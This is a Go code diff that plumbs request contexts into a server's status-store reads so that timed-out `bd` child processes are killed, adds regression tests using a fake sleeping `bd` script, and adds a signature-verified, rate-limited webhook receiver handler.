index 65c30eba58..27b404b7a6 100644
--- a/internal/api/handler_status.go
+++ b/internal/api/handler_status.go
@@ -135,7 +135,7 @@ func (s *Server) buildStatusBody(ctx context.Context, lite bool) StatusBody {
 	sp := s.state.SessionProvider()
 	cityName := s.state.CityName()
 	sessTmpl := cfg.Workspace.SessionTemplate
-	sessionSnapshot := s.statusSessionSnapshot()
+	sessionSnapshot := s.statusSessionSnapshot(ctx)
 	partialErrors := append([]string(nil), sessionSnapshot.partialErrors...)
 
 	citySt, _ := suspensionstate.Load(fsys.OSFS{}, s.state.CityPath())
@@ -296,7 +296,7 @@ func (s *Server) buildStatusBody(ctx context.Context, lite bool) StatusBody {
 	// sub-cache). Omitted in lite mode so a cold lite poll never triggers it.
 	var storeHealth *StatusStoreHealth
 	if !lite {
-		storeHealth = s.cachedStoreHealth(time.Now())
+		storeHealth = s.cachedStoreHealth(ctx, time.Now())
 	}
 
 	return StatusBody{
@@ -447,7 +447,7 @@ type statusSessionInfo struct {
 	state       session.State
 }
 
-func (s *Server) statusSessionSnapshot() statusSessionSnapshot {
+func (s *Server) statusSessionSnapshot(ctx context.Context) statusSessionSnapshot {
 	snapshot := statusSessionSnapshot{
 		bySessionName: make(map[string]statusSessionInfo),
 		byTemplate:    make(map[string][]statusSessionInfo),
@@ -457,6 +457,22 @@ func (s *Server) statusSessionSnapshot() statusSessionSnapshot {
 		return snapshot
 	}
 
+	// A throwaway, ctx-bound clone of store when it's bd-CLI-backed: on
+	// timeout below, canceling reqCtx kills an in-flight bd child instead
+	// of abandoning it to run past this function's return (gascity
+	// ga-cdmx6x). ScopedStoreLike answers (nil, nil) for non-bd-CLI
+	// backends, which have no subprocess to leak — those keep reading
+	// through store directly, unchanged.
+	reqCtx, cancel := context.WithTimeout(ctx, statusStoreReadTimeout)
+	defer cancel()
+	readStore := store
+	if scoped, err := s.state.ScopedStoreLike(reqCtx, store); err != nil {
+		snapshot.partialErrors = []string{fmt.Sprintf("sessions: resolving scoped store: %v", err)}
+		return snapshot
+	} else if scoped != nil {
+		readStore = scoped
+	}
+
 	type snapshotResult struct {
 		rows          []beads.Bead
 		partialErrors []string
@@ -464,7 +480,7 @@ func (s *Server) statusSessionSnapshot() statusSessionSnapshot {
 	}
 	done := make(chan snapshotResult, 1)
 	go func() {
-		rows, partialErrors, err := sessionReadModelRows(store)
+		rows, partialErrors, err := sessionReadModelRows(readStore)
 		done <- snapshotResult{rows: rows, partialErrors: partialErrors, err: err}
 	}()
 
@@ -543,7 +559,7 @@ func (s *Server) statusWorkCounts(ctx context.Context) (workCounts, []string) {
 		wg.Add(1)
 		go func(i int, rigName string, store beads.Store) {
 			defer wg.Done()
-			results[i] = statusStoreWorkCounts(ctx, rigName, store)
+			results[i] = statusStoreWorkCounts(ctx, s.state, rigName, store)
 		}(i, rigName, stores[rigName])
 	}
 	wg.Wait()
@@ -563,7 +579,7 @@ func (s *Server) statusWorkCounts(ctx context.Context) (workCounts, []string) {
 // hydration-free Counter path. Operational count failures (timeouts,
 // connection errors) report a partial error without retrying via List —
 // the List scan would hit the same backend and pay the timeout again.
-func statusStoreWorkCounts(ctx context.Context, rigName string, store beads.Store) statusWorkResult {
+func statusStoreWorkCounts(ctx context.Context, state State, rigName string, store beads.Store) statusWorkResult {
 	if counter, ok := store.(beads.Counter); ok {
 		wc, err := statusCountWork(ctx, counter)
 		if err == nil {
@@ -574,7 +590,7 @@ func statusStoreWorkCounts(ctx context.Context, rigName string, store beads.Stor
 		}
 	}
 
-	list, err := statusListStoreWithTimeout(store, beads.ListQuery{AllowScan: true})
+	list, err := statusListStoreWithTimeout(ctx, state, store, beads.ListQuery{AllowScan: true})
 	var result statusWorkResult
 	if err != nil {
 		result.errs = append(result.errs, fmt.Sprintf("rig %s work: %v", rigName, err))
@@ -627,20 +643,30 @@ func statusCountWork(ctx context.Context, counter beads.Counter) (workCounts, er
 
 // statusListStoreWithTimeout lists with the per-store read timeout.
 // Store.List takes no context, so on timeout the goroutine is abandoned
-// (it keeps its connection until the scan returns). Counter-capable
-// stores avoid this path entirely; fixing it for the remaining stores
-// requires plumbing context through Store.List.
-func statusListStoreWithTimeout(store beads.Store, query beads.ListQuery) ([]beads.Bead, error) {
+// (it keeps its connection until the scan returns) — unless state offers a
+// ctx-bound scoped clone of store (bd-CLI-backed stores do; native/file/mem
+// stores don't and are read unchanged), in which case cancellation kills
+// the in-flight backend command instead of abandoning it (gascity
+// ga-cdmx6x). Counter-capable stores avoid this path entirely.
+func statusListStoreWithTimeout(ctx context.Context, state State, store beads.Store, query beads.ListQuery) ([]beads.Bead, error) {
 	if store == nil {
 		return nil, nil
 	}
+	reqCtx, cancel := context.WithTimeout(ctx, statusStoreReadTimeout)
+	defer cancel()
+	readStore := store
+	if scoped, err := state.ScopedStoreLike(reqCtx, store); err != nil {
+		return nil, fmt.Errorf("resolving scoped store: %w", err)
+	} else if scoped != nil {
+		readStore = scoped
+	}
 	type listResult struct {
 		rows []beads.Bead
 		err  error
 	}
 	done := make(chan listResult, 1)
 	go func() {
-		rows, err := store.List(query)
+		rows, err := readStore.List(query)
 		done <- listResult{rows: rows, err: err}
 	}()
 	select {
diff --git a/internal/api/handler_status_scoped_store_test.go b/internal/api/handler_status_scoped_store_test.go
new file mode 100644
index 0000000000..a4b3568d01
--- /dev/null
+++ b/internal/api/handler_status_scoped_store_test.go
@@ -0,0 +1,286 @@
+package api
+
+import (
+	"context"
+	"errors"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/processgroup/processgrouptest"
+	"github.com/gastownhall/gascity/internal/session"
+)
+
+func newSessionBead(sessionName string) beads.Bead {
+	return beads.Bead{
+		Type:   session.BeadType,
+		Labels: []string{session.LabelSession},
+		Metadata: map[string]string{
+			"state":        string(session.StateActive),
+			"template":     "myrig/worker",
+			"session_name": sessionName,
+		},
+	}
+}
+
+// TestStatusSessionSnapshotUsesScopedStoreWhenAvailable proves
+// statusSessionSnapshot reads through state.ScopedStoreLike's result
+// instead of the shared CityBeadStore when one is available — the shared
+// store here carries a bead that must NOT show up in the snapshot.
+func TestStatusSessionSnapshotUsesScopedStoreWhenAvailable(t *testing.T) {
+	shared := beads.NewMemStore()
+	if _, err := shared.Create(newSessionBead("shared-session")); err != nil {
+		t.Fatalf("Create shared session bead: %v", err)
+	}
+	scoped := beads.NewMemStore()
+	if _, err := scoped.Create(newSessionBead("scoped-session")); err != nil {
+		t.Fatalf("Create scoped session bead: %v", err)
+	}
+
+	state := newFakeState(t)
+	state.cityBeadStore = shared
+	state.scopedStoreFn = func(context.Context, beads.Store) (beads.Store, error) {
+		return scoped, nil
+	}
+	s := &Server{state: state}
+
+	snapshot := s.statusSessionSnapshot(context.Background())
+
+	if _, ok := snapshot.bySessionName["scoped-session"]; !ok {
+		t.Errorf("snapshot missing scoped-session; bySessionName = %+v, want the scoped store's read used", snapshot.bySessionName)
+	}
+	if _, ok := snapshot.bySessionName["shared-session"]; ok {
+		t.Error("snapshot contains shared-session, want the shared store bypassed in favor of the scoped one")
+	}
+}
+
+// TestStatusSessionSnapshotFallsBackWhenScopedStoreUnavailable pins the
+// pre-ga-cdmx6x behavior for non-bd-CLI-backed stores (native, file, mem):
+// when ScopedStoreLike answers (nil, nil), the read goes through the
+// shared store exactly as before.
+func TestStatusSessionSnapshotFallsBackWhenScopedStoreUnavailable(t *testing.T) {
+	shared := beads.NewMemStore()
+	if _, err := shared.Create(newSessionBead("shared-session")); err != nil {
+		t.Fatalf("Create shared session bead: %v", err)
+	}
+
+	state := newFakeState(t)
+	state.cityBeadStore = shared
+	// scopedStoreFn left nil: defaults to (nil, nil), matching the real
+	// ScopedStoreLike's answer for a MemStore-backed shared store.
+	s := &Server{state: state}
+
+	snapshot := s.statusSessionSnapshot(context.Background())
+
+	if _, ok := snapshot.bySessionName["shared-session"]; !ok {
+		t.Errorf("snapshot missing shared-session; bySessionName = %+v, want fallback to the shared store", snapshot.bySessionName)
+	}
+}
+
+// TestStatusSessionSnapshotSurfacesScopedStoreResolutionError proves a
+// ScopedStoreLike failure (e.g. Dolt credential resolution) surfaces as a
+// "sessions:" partial error instead of silently degrading or panicking.
+func TestStatusSessionSnapshotSurfacesScopedStoreResolutionError(t *testing.T) {
+	state := newFakeState(t)
+	state.cityBeadStore = beads.NewMemStore()
+	state.scopedStoreFn = func(context.Context, beads.Store) (beads.Store, error) {
+		return nil, errors.New("resolving dolt credentials: boom")
+	}
+	s := &Server{state: state}
+
+	snapshot := s.statusSessionSnapshot(context.Background())
+
+	if len(snapshot.partialErrors) == 0 {
+		t.Fatal("partialErrors empty, want the scoped-store resolution error surfaced")
+	}
+	joined := strings.Join(snapshot.partialErrors, "; ")
+	if !strings.Contains(joined, "sessions:") || !strings.Contains(joined, "boom") {
+		t.Fatalf("partialErrors = %v, want a sessions: ...boom entry", snapshot.partialErrors)
+	}
+}
+
+// TestStatusSessionSnapshotKillsBdChildOnTimeout is the ga-cdmx6x
+// regression test for the API-side call site: statusSessionSnapshot must
+// bind whatever ScopedStoreLike hands back to a request-scoped ctx tightly
+// enough that a slow bd child is killed instead of surviving past the
+// caller's budget. ScopedStoreLike here builds a real ctx-bound BdStore
+// (mirroring what cmd/gc's scopedStoreLike does in production) pointed at
+// a fake `bd` that backgrounds a long sleep and records its PID, proving
+// the ctx statusSessionSnapshot constructs actually propagates end to end.
+func TestStatusSessionSnapshotKillsBdChildOnTimeout(t *testing.T) {
+	processgrouptest.RequireRealProcessSignals(t)
+	if _, err := exec.LookPath("sh"); err != nil {
+		t.Skip("sh unavailable")
+	}
+
+	oldTimeout := statusStoreReadTimeout
+	statusStoreReadTimeout = 200 * time.Millisecond
+	t.Cleanup(func() { statusStoreReadTimeout = oldTimeout })
+
+	binDir := t.TempDir()
+	pidFile := filepath.Join(binDir, "bd-child.pid")
+	writeExecutableScopedTest(t, filepath.Join(binDir, "bd"), "#!/bin/sh\n"+
+		"sleep 30 &\n"+
+		"echo \"$!\" > "+pidFile+"\n"+
+		"wait\n")
+	t.Setenv("PATH", binDir+string(os.PathListSeparator)+os.Getenv("PATH"))
+
+	state := newFakeState(t)
+	state.cityBeadStore = beads.NewMemStore()
+	state.scopedStoreFn = func(ctx context.Context, _ beads.Store) (beads.Store, error) {
+		return beads.NewBdStore(t.TempDir(), beads.ExecCommandRunnerWithEnvContext(ctx, nil)), nil
+	}
+	s := &Server{state: state}
+
+	start := time.Now()
+	_ = s.statusSessionSnapshot(context.Background())
+	if elapsed := time.Since(start); elapsed > 10*time.Second {
+		t.Fatalf("statusSessionSnapshot blocked %s; want bounded by statusStoreReadTimeout", elapsed)
+	}
+
+	childPid := waitForNonEmptyFileScopedTest(t, pidFile, 5*time.Second)
+	for range 50 {
+		if err := exec.Command("kill", "-0", childPid).Run(); err != nil {
+			return // child is gone
+		}
+		time.Sleep(20 * time.Millisecond)
+	}
+	_ = exec.Command("kill", "-KILL", childPid).Run()
+	t.Fatalf("bd child process %s survived statusSessionSnapshot's timeout", childPid)
+}
+
+// TestStatusListStoreWithTimeoutUsesScopedStoreWhenAvailable proves the
+// per-rig work-count fallback (statusListStoreWithTimeout, reached when a
+// store isn't Counter-capable) reads through state.ScopedStoreLike's
+// result instead of the store it was handed, when one is available.
+func TestStatusListStoreWithTimeoutUsesScopedStoreWhenAvailable(t *testing.T) {
+	shared := beads.NewMemStore()
+	if _, err := shared.Create(beads.Bead{Type: "task", Title: "shared work", Status: "open"}); err != nil {
+		t.Fatalf("Create: %v", err)
+	}
+	scoped := beads.NewMemStore()
+	if _, err := scoped.Create(beads.Bead{Type: "task", Title: "scoped work 1", Status: "open"}); err != nil {
+		t.Fatalf("Create: %v", err)
+	}
+	if _, err := scoped.Create(beads.Bead{Type: "task", Title: "scoped work 2", Status: "open"}); err != nil {
+		t.Fatalf("Create: %v", err)
+	}
+
+	state := newFakeState(t)
+	state.scopedStoreFn = func(context.Context, beads.Store) (beads.Store, error) {
+		return scoped, nil
+	}
+
+	rows, err := statusListStoreWithTimeout(context.Background(), state, shared, beads.ListQuery{AllowScan: true})
+	if err != nil {
+		t.Fatalf("statusListStoreWithTimeout: %v", err)
+	}
+	if len(rows) != 2 {
+		t.Fatalf("len(rows) = %d, want 2 from the scoped store (the shared store has only 1)", len(rows))
+	}
+}
+
+// TestStatusListStoreWithTimeoutFallsBackWhenScopedStoreUnavailable pins
+// the pre-ga-cdmx6x behavior: when ScopedStoreLike answers (nil, nil), the
+// read goes through the store it was handed, exactly as before.
+func TestStatusListStoreWithTimeoutFallsBackWhenScopedStoreUnavailable(t *testing.T) {
+	shared := beads.NewMemStore()
+	if _, err := shared.Create(beads.Bead{Type: "task", Title: "shared work", Status: "open"}); err != nil {
+		t.Fatalf("Create: %v", err)
+	}
+	state := newFakeState(t)
+
+	rows, err := statusListStoreWithTimeout(context.Background(), state, shared, beads.ListQuery{AllowScan: true})
+	if err != nil {
+		t.Fatalf("statusListStoreWithTimeout: %v", err)
+	}
+	if len(rows) != 1 {
+		t.Fatalf("len(rows) = %d, want 1 from the fallback store", len(rows))
+	}
+}
+
+// TestStatusListStoreWithTimeoutSurfacesScopedStoreResolutionError proves
+// a ScopedStoreLike failure surfaces as an error instead of silently
+// falling back or panicking — statusStoreWorkCounts already formats
+// whatever error this returns into a "rig %s work: ..." partial error.
+func TestStatusListStoreWithTimeoutSurfacesScopedStoreResolutionError(t *testing.T) {
+	state := newFakeState(t)
+	state.scopedStoreFn = func(context.Context, beads.Store) (beads.Store, error) {
+		return nil, errors.New("resolving dolt credentials: boom")
+	}
+
+	_, err := statusListStoreWithTimeout(context.Background(), state, beads.NewMemStore(), beads.ListQuery{AllowScan: true})
+	if err == nil || !strings.Contains(err.Error(), "boom") {
+		t.Fatalf("statusListStoreWithTimeout error = %v, want it to contain the resolution error", err)
+	}
+}
+
+// TestStatusListStoreWithTimeoutKillsBdChildOnTimeout is the ga-cdmx6x
+// regression test for the per-rig work-count call site: mirrors
+// TestStatusSessionSnapshotKillsBdChildOnTimeout, but through
+// statusListStoreWithTimeout directly.
+func TestStatusListStoreWithTimeoutKillsBdChildOnTimeout(t *testing.T) {
+	processgrouptest.RequireRealProcessSignals(t)
+	if _, err := exec.LookPath("sh"); err != nil {
+		t.Skip("sh unavailable")
+	}
+
+	oldTimeout := statusStoreReadTimeout
+	statusStoreReadTimeout = 200 * time.Millisecond
+	t.Cleanup(func() { statusStoreReadTimeout = oldTimeout })
+
+	binDir := t.TempDir()
+	pidFile := filepath.Join(binDir, "bd-child.pid")
+	writeExecutableScopedTest(t, filepath.Join(binDir, "bd"), "#!/bin/sh\n"+
+		"sleep 30 &\n"+
+		"echo \"$!\" > "+pidFile+"\n"+
+		"wait\n")
+	t.Setenv("PATH", binDir+string(os.PathListSeparator)+os.Getenv("PATH"))
+
+	state := newFakeState(t)
+	state.scopedStoreFn = func(ctx context.Context, _ beads.Store) (beads.Store, error) {
+		return beads.NewBdStore(t.TempDir(), beads.ExecCommandRunnerWithEnvContext(ctx, nil)), nil
+	}
+
+	start := time.Now()
+	_, _ = statusListStoreWithTimeout(context.Background(), state, beads.NewMemStore(), beads.ListQuery{AllowScan: true})
+	if elapsed := time.Since(start); elapsed > 10*time.Second {
+		t.Fatalf("statusListStoreWithTimeout blocked %s; want bounded by statusStoreReadTimeout", elapsed)
+	}
+
+	childPid := waitForNonEmptyFileScopedTest(t, pidFile, 5*time.Second)
+	for range 50 {
+		if err := exec.Command("kill", "-0", childPid).Run(); err != nil {
+			return // child is gone
+		}
+		time.Sleep(20 * time.Millisecond)
+	}
+	_ = exec.Command("kill", "-KILL", childPid).Run()
+	t.Fatalf("bd child process %s survived statusListStoreWithTimeout's timeout", childPid)
+}
+
+func writeExecutableScopedTest(t *testing.T, path, body string) {
+	t.Helper()
+	if err := os.WriteFile(path, []byte(body), 0o755); err != nil {
+		t.Fatalf("write %s: %v", path, err)
+	}
+}
+
+func waitForNonEmptyFileScopedTest(t *testing.T, path string, timeout time.Duration) string {
+	t.Helper()
+	deadline := time.Now().Add(timeout)
+	for {
+		data, err := os.ReadFile(path)
+		if err == nil && len(strings.TrimSpace(string(data))) > 0 {
+			return strings.TrimSpace(string(data))
+		}
+		if time.Now().After(deadline) {
+			t.Fatalf("timed out waiting for %s to be written", path)
+		}
+		time.Sleep(20 * time.Millisecond)
+	}
+}
diff --git a/internal/api/handler_webhook.go b/internal/api/handler_webhook.go
new file mode 100644
index 0000000000..50633cc748
--- /dev/null
+++ b/internal/api/handler_webhook.go
@@ -0,0 +1,645 @@
+package api
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io"
+	"log"
+	"net/http"
+	"strings"
+
+	"github.com/danielgtaylor/huma/v2"
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/orderdispatch"
+	"github.com/gastownhall/gascity/internal/orders"
+	"github.com/gastownhall/gascity/internal/webhookmatch"
+	"github.com/gastownhall/gascity/internal/webhooksink"
+	"github.com/gastownhall/gascity/internal/webhookverify"
+)
+
+// defaultMaxWebhookBodyBytes caps the raw body the receiver buffers to compute
+// the signature and parse the payload, so an unauthenticated caller cannot
+// exhaust memory by streaming an unbounded body before verification. The raw
+// bytes are load-bearing: HMAC/ed25519 sign the exact body, so it must be read
+// whole rather than streamed. 5 MiB comfortably covers GitHub's large PR/issue
+// payloads while staying well under GitHub's own 25 MiB delivery ceiling.
+const defaultMaxWebhookBodyBytes int64 = 5 << 20
+
+// handleHookProxy is the raw /hook/{name} receiver — the fourth sanctioned
+// non-Huma surface (alongside /svc/*), mounted on the per-city Server.mux so the
+// HMAC/ed25519 verifiers see the exact raw body. It deliberately sits OUTSIDE the
+// typed Huma control plane and its CSRF/read-only middleware; the R2 perimeter
+// (webhookRequestAllowed) and E4 signature verification are the gates here.
+//
+// The route is NOT exempt from the mux-level write-auth grant (cityScopedObjectMutation
+// keeps /hook/ gated — the deliberate H2 reversal): signature verification is an
+// ADDITIONAL gate for public webhooks, never a replacement for the operator's grant
+// when write-auth is configured.
+//
+// Flow: resolve webhook (404 if unknown) → R2 perimeter → E8 rate-limit (429) →
+// read raw body (capped) → R1 verifier build → verify (E4) → Discord PING→PONG →
+// parse + match (E5) → E8 dedup claim → dispatch (E6) via the live E0.5 seam. Every
+// accept/reject decision emits a webhook.received / webhook.rejected event (E8).
+func (s *Server) handleHookProxy(w http.ResponseWriter, r *http.Request) {
+	name := webhookNameFromPath(r.URL.Path)
+	if name == "" {
+		problemWebhookRouteNotFound.writeTo(w)
+		return
+	}
+	cfg := s.state.Config()
+	hook, ok := findWebhook(cfg, name)
+	if !ok {
+		// Unknown name → 404. Never leak which webhook names exist, and never
+		// answer with a 403-plus-detail that would confirm the route. Deliberately
+		// NOT evented: the route segment is attacker-chosen and unauthenticated, so
+		// emitting here would be an event-log-flood amplifier and a name oracle.
+		problemWebhookRouteNotFound.writeTo(w)
+		return
+	}
+	scheme := strings.TrimSpace(hook.Verify.Scheme)
+
+	// Webhooks are POST deliveries only.
+	if r.Method != http.MethodPost {
+		problemWebhookMethodNotAllowed.writeTo(w)
+		s.emitWebhookRejected(WebhookRejectedPayload{
+			Webhook: hook.Name, Scheme: scheme,
+			Reason: reasonMethodNotAllowed, Status: http.StatusMethodNotAllowed,
+		})
+		return
+	}
+
+	// R2 perimeter. The effective Publication.Visibility was ALREADY capped by
+	// E2's pack-guard at config load (public honored only under a city
+	// allow_public grant; otherwise tenant). Read the post-guard value — do NOT
+	// re-derive trust here.
+	visibility := strings.ToLower(strings.TrimSpace(hook.Publication.Visibility))
+	if allowed, reason := webhookRequestAllowed(w, visibility, r, s.readOnly); !allowed {
+		// webhookRequestAllowed already wrote the response; reason distinguishes a
+		// perimeter denial from a read-only refusal.
+		s.emitWebhookRejected(WebhookRejectedPayload{Webhook: hook.Name, Scheme: scheme, Reason: reason})
+		return
+	}
+
+	// E8 rate-limit: per-webhook token bucket on the RESOLVED name, upstream of the
+	// expensive body-read + verify. The limit is operator-owned; a pack can only
+	// LOWER its own ceiling (clamped in EffectiveRateLimit), never raise it.
+	perMinute, burst := cfg.WebhookPolicy.EffectiveRateLimit(hook)
+	if ok, retryAfter := s.webhookLimiter.allow(hook.Name, perMinute, burst); !ok {
+		setRetryAfter(w, retryAfter)
+		problemWebhookRateLimited.writeTo(w)
+		// Deliberately NOT evented: this fires on every over-limit request, so on a
+		// flood it would be an un-throttled per-request event/log write on a public
+		// endpoint — the very amplification the limiter exists to stop. The 429 +
+		// Retry-After IS the signal; a persistent flood shows up in ingress metrics.
+		// (The other reject paths — perimeter_denied, verify_failed, operator_fault,
+		// dispatch_* — stay evented: they are lower-volume and diagnostically useful.)
+		return
+	}
+
+	// Read the raw body under a hard cap (the signature is computed over it).
+	body, err := readCappedBody(w, r, s.maxWebhookBodyBytes())
+	if err != nil {
+		var maxErr *http.MaxBytesError
+		if errors.As(err, &maxErr) {
+			problemWebhookBodyTooLarge.writeTo(w)
+			s.emitWebhookRejected(WebhookRejectedPayload{
+				Webhook: hook.Name, Scheme: scheme,
+				Reason: reasonBodyTooLarge, Status: http.StatusRequestEntityTooLarge,
+			})
+			return
+		}
+		problemWebhookBadBody.writeTo(w)
+		s.emitWebhookRejected(WebhookRejectedPayload{
+			Webhook: hook.Name, Scheme: scheme,
+			Reason: reasonBadBody, Status: http.StatusBadRequest,
+		})
+		return
+	}
+
+	// R1: build the verifier with an operator-owned secret / trust anchor.
+	verifier, secret, verr := s.buildWebhookVerifier(cfg, hook)
+	if verr != nil {
+		// Operator fault (secret_env outside GC_WEBHOOK_*, unset, too weak; or a
+		// jwt-jwks webhook with no operator [webhooks].jwt_policy; or a scheme
+		// construction error) → 503, never 401: the delivery may be perfectly
+		// authentic, we simply cannot check it. This is the R1 fail-closed contract.
+		log.Printf("api: webhook %q verifier unavailable: %v", hook.Name, verr)
+		problemWebhookVerifierUnavailable.writeTo(w)
+		s.emitWebhookRejected(WebhookRejectedPayload{
+			Webhook: hook.Name, Scheme: scheme,
+			Reason: reasonOperatorFault, Status: http.StatusServiceUnavailable, BodySize: len(body),
+		})
+		return
+	}
+
+	vres, verifyErr := verifier.Verify(r.Context(), webhookverify.VerifyRequest{
+		Body:   body,
+		Header: r.Header,
+		Secret: secret,
+	})
+	if verifyErr != nil {
+		// The check could not be performed (operator fault, e.g. malformed key).
+		log.Printf("api: webhook %q verify error: %v", hook.Name, verifyErr)
+		problemWebhookVerifierUnavailable.writeTo(w)
+		s.emitWebhookRejected(WebhookRejectedPayload{
+			Webhook: hook.Name, Scheme: scheme,
+			Reason: reasonOperatorFault, Status: http.StatusServiceUnavailable, BodySize: len(body),
+		})
+		return
+	}
+	if !vres.OK {
+		problemWebhookUnauthorized.writeTo(w)
+		s.emitWebhookRejected(WebhookRejectedPayload{
+			Webhook: hook.Name, Scheme: scheme,
+			Reason: reasonVerifyFailed, Status: http.StatusUnauthorized,
+			EventType: vres.EventType, BodySize: len(body),
+		})
+		return
+	}
+
+	// Discord PING (interaction type 1) on a VERIFIED payload → PONG, no dispatch.
+	// Ordered after verification so a forged type=1 body cannot elicit a PONG. A
+	// protocol handshake, not a delivery, so it is neither deduped nor evented.
+	if strings.EqualFold(scheme, "discord-ed25519") && isDiscordPing(body) {
+		writeJSONBytes(w, http.StatusOK, discordPongBody)
+		return
+	}
+
+	parsed, perr := webhookmatch.ParseBody(body)
+	if perr != nil {
+		// Authentic sender, malformed payload → 400.
+		problemWebhookBadPayload.writeTo(w)
+		s.emitWebhookRejected(WebhookRejectedPayload{
+			Webhook: hook.Name, Scheme: scheme,
+			Reason: reasonBadPayload, Status: http.StatusBadRequest,
+			EventType: vres.EventType, BodySize: len(body),
+		})
+		return
+	}
+
+	match, matched, merr := webhookmatch.Match(webhookmatch.MatchInput{
+		EventType: vres.EventType,
+		DedupID:   vres.DedupID,
+		Identity:  vres.Identity,
+		Body:      parsed,
+	}, hook.Rules)
+	if merr != nil {
+		// Structural arg-extraction failure on a matched rule (misconfiguration).
+		log.Printf("api: webhook %q match error: %v", hook.Name, merr)
+		problemInternalServerError.writeTo(w)
+		s.emitWebhookRejected(WebhookRejectedPayload{
+			Webhook: hook.Name, Scheme: scheme,
+			Reason: reasonMatchError, Status: http.StatusInternalServerError,
+			EventType: vres.EventType, BodySize: len(body),
+		})
+		return
+	}
+	if !matched {
+		// A valid, authentic delivery that no rule wanted. Webhook senders retry on
+		// non-2xx, so a valid-but-unmatched delivery is a 2xx no-op — never a 4xx —
+		// but it IS an accepted delivery, so it is evented as webhook.received.
+		s.emitWebhookReceived(WebhookReceivedPayload{
+			Webhook: hook.Name, Scheme: scheme, EventType: vres.EventType,
+			DedupID: vres.DedupID, Matched: false, Dispatched: false,
+			RuleIndex: -1, BodySize: len(body),
+		})
+		writeJSONBytes(w, http.StatusOK, webhookNoMatchBody)
+		return
+	}
+
+	// E8 dedup: claim (webhook, delivery) so a provider retry (GitHub/Slack/
+	// Discord all re-deliver) cannot fire the order twice. The KEY is derived from
+	// content the signature COVERS (a signed jti, else the body hash) — never from
+	// the unsigned/coarse provider delivery id, which an attacker could mutate to
+	// mint a fresh key (github) or which could silently collide two distinct
+	// deliveries in one second (slack). See webhookDedupKeyFor.
+	//
+	// eventDedupID keeps the provider's surfaced id on the emitted event for
+	// observability (the github delivery id / slack ts is still useful to log),
+	// falling back to the body hash only when the scheme surfaces none.
+	eventDedupID := strings.TrimSpace(vres.DedupID)
+	if eventDedupID == "" {
+		eventDedupID = webhookBodyHash(body)
+	}
+	dedupKey := webhookDedupKeyFor(hook.Name, vres, body)
+	if s.webhookDedup.seen(dedupKey) {
+		// Duplicate: ack 2xx so the sender stops retrying, but do NOT dispatch.
+		s.emitWebhookReceived(WebhookReceivedPayload{
+			Webhook: hook.Name, Scheme: scheme, EventType: vres.EventType,
+			DedupID: eventDedupID, Deduped: true, Matched: true, Dispatched: false,
+			RuleIndex: match.RuleIndex, Order: match.Order, Rig: match.Rig, BodySize: len(body),
+		})
+		writeJSONBytes(w, http.StatusOK, webhookDuplicateBody)
+		return
+	}
+
+	// Dispatch through the E6 sink + the live E0.5 dispatcher seam.
+	dispatcher := webhookDispatcherFor(s.state)
+	if dispatcher == nil {
+		s.webhookDedup.forget(dedupKey) // never acted on: let the sender retry
+		problemWebhookDispatchUnavailable.writeTo(w)
+		s.emitWebhookRejected(WebhookRejectedPayload{
+			Webhook: hook.Name, Scheme: scheme,
+			Reason: reasonDispatchUnavailable, Status: http.StatusServiceUnavailable,
+			EventType: vres.EventType, DedupID: eventDedupID, BodySize: len(body),
+		})
+		return
+	}
+	// Detach cancellation from the request: the design's fast-ACK contract runs
+	// the order async after the HTTP response, and dispatchOne bounds itself with
+	// the order's own timeout. WithoutCancel keeps request values (trace) but not
+	// the request's Done channel, so writing the response cannot kill the order.
+	result, rerr := webhooksink.Route(context.WithoutCancel(r.Context()), webhooksink.Deps{
+		Dispatcher:   dispatcher,
+		ResolveOrder: orderResolverFor(s.state),
+	}, webhookScopeFor(hook), match)
+	if rerr != nil {
+		s.webhookDedup.forget(dedupKey) // genuine failure: allow the sender's retry
+		log.Printf("api: webhook %q dispatch failed: %v", hook.Name, rerr)
+		problemWebhookDispatchUnavailable.writeTo(w)
+		s.emitWebhookRejected(WebhookRejectedPayload{
+			Webhook: hook.Name, Scheme: scheme,
+			Reason: reasonDispatchError, Status: http.StatusServiceUnavailable,
+			EventType: vres.EventType, DedupID: eventDedupID, BodySize: len(body),
+		})
+		return
+	}
+
+	if result.Dispatched {
+		s.emitWebhookReceived(WebhookReceivedPayload{
+			Webhook: hook.Name, Scheme: scheme, EventType: vres.EventType,
+			DedupID: eventDedupID, Deduped: false, Matched: true, Dispatched: true,
+			RuleIndex: match.RuleIndex, Order: match.Order, Rig: match.Rig,
+			ScopedName: result.Dispatch.ScopedName, TrackingID: result.Dispatch.TrackingID,
+			BodySize: len(body),
+		})
+		writeJSONBytes(w, http.StatusAccepted, webhookAcceptedBody)
+		return
+	}
+	// Refused by a sink guard (rig scope, trigger!=webhook, missing required param,
+	// conversation sink not yet wired). Deterministic, so release the dedup claim:
+	// the sender's non-2xx retry should get an honest 422, not a masked 2xx dedup.
+	// The detailed reason names an order/rig/param — safe to log, but the wire body
+	// AND the event stay generic (reason=dispatch_refused) so the public edge learns
+	// nothing about the city's order catalog.
+	s.webhookDedup.forget(dedupKey)
+	log.Printf("api: webhook %q refused: %s", hook.Name, result.Reason)
+	s.emitWebhookRejected(WebhookRejectedPayload{
+		Webhook: hook.Name, Scheme: scheme,
+		Reason: reasonDispatchRefused, Status: http.StatusUnprocessableEntity,
+		EventType: vres.EventType, DedupID: eventDedupID, BodySize: len(body),
+	})
+	writeJSONBytes(w, http.StatusUnprocessableEntity, webhookRejectedBody)
+}
+
+// maxWebhookBodyBytes returns the configured body cap, defaulting when unset.
+func (s *Server) maxWebhookBodyBytes() int64 {
+	if s.webhookMaxBody > 0 {
+		return s.webhookMaxBody
+	}
+	return defaultMaxWebhookBodyBytes
+}
+
+// webhookNameFromPath extracts the {name} segment from a /hook/{name}/... path.
+// Mirrors serviceNameFromPath.
+func webhookNameFromPath(path string) string {
+	path = strings.TrimPrefix(path, "/hook/")
+	if path == "" {
+		return ""
+	}
+	if i := strings.IndexByte(path, '/'); i >= 0 {
+		return path[:i]
+	}
+	return path
+}
+
+// findWebhook returns the configured webhook with the given name.
+func findWebhook(cfg *config.City, name string) (config.Webhook, bool) {
+	if cfg == nil {
+		return config.Webhook{}, false
+	}
+	for _, w := range cfg.Webhooks {
+		if w.Name == name {
+			return w, true
+		}
+	}
+	return config.Webhook{}, false
+}
+
